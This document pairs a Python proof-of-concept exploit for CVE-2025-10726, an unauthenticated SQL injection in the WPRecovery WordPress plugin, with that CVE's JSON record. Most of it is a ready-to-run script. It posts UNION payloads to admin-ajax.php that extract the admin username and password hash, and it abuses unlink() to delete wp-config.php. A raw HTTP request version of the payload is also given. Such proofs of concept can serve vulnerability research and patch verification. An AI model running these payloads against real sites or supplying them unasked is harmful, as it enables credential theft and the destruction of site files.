CVE-2025-10726

# CVE-2025-10726 PoC - WPRecovery SQL Injection # Vulnerability: SQL Injection via 'data[id]' parameter # Affected: WPRecovery plugin <= 2.0 # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" VULNERABLE_ENDPOINT = "/wp-admin/admin-ajax.php" # Alternative endpoint based on delete_backup.php ALT_ENDPOINT = "/wp-content/plugins/wprecovery/delete_backup.php" def exploit_sql_injection(target_url): """ Exploit SQL injection in WPRecovery plugin's 'data[id]' parameter. The injected SQL result is passed to PHP's unlink() function, allowing arbitrary file deletion. """ # Step 1: Extract sensitive information via UNION-based SQL injection # Payload to extract admin user credentials sqli_payload_info = { "action": "wprecovery_delete_backup", "data[id]": "1' UNION SELECT CONCAT(user_login,':',user_pass) FROM wp_users WHERE ID=1-- " } # Step 2: Delete arbitrary files via SQL injection + unlink() # Payload to delete a specific file on the server sqli_payload_delete = { "action": "wprecovery_delete_backup", "data[id]": "1' UNION SELECT '/var/www/html/wp-config.php'-- " } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Attempt information extraction print("[*] Attempting SQL injection to extract sensitive data...") response = requests.post( target_url + VULNERABLE_ENDPOINT, data=sqli_payload_info, headers=headers, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") # Attempt arbitrary file deletion print("\n[*] Attempting arbitrary file deletion via SQL injection...") response = requests.post( target_url + VULNERABLE_ENDPOINT, data=sqli_payload_delete, headers=headers, timeout=10 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_sql_injection(TARGET_URL) # Example raw HTTP request: # POST /wp-admin/admin-ajax.php HTTP/1.1 # Host: target-site.com # Content-Type: application/x-www-form-urlencoded # # action=wprecovery_delete_backup&data[id]=1' UNION SELECT '/path/to/file'--

{"cve": {"id": "CVE-2025-10726", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:43.417", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WPRecovery plugin for WordPress is vulnerable to SQL Injection via the 'data[id]' parameter in all versions up to, and including, 2.0. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Additionally, the result of this SQL injection is passed directly to PHP's unlink() function, allowing attackers to delete arbitrary files on the server by injecting file paths through the SQL query."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/wprecovery/trunk/delete_backup.php", "source": "[email protected]"}, {"url": "https://plugins.svn.wordpress.org/wprecovery/trunk/index.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wprecovery/tags/2.0/delete_backup.php#L5", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wprecovery/tags/2.0/index.php#L166", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15880d3b-87de-4b59-878c-e36e73c45e8a?source=cve", "source": "[email protected]"}]}}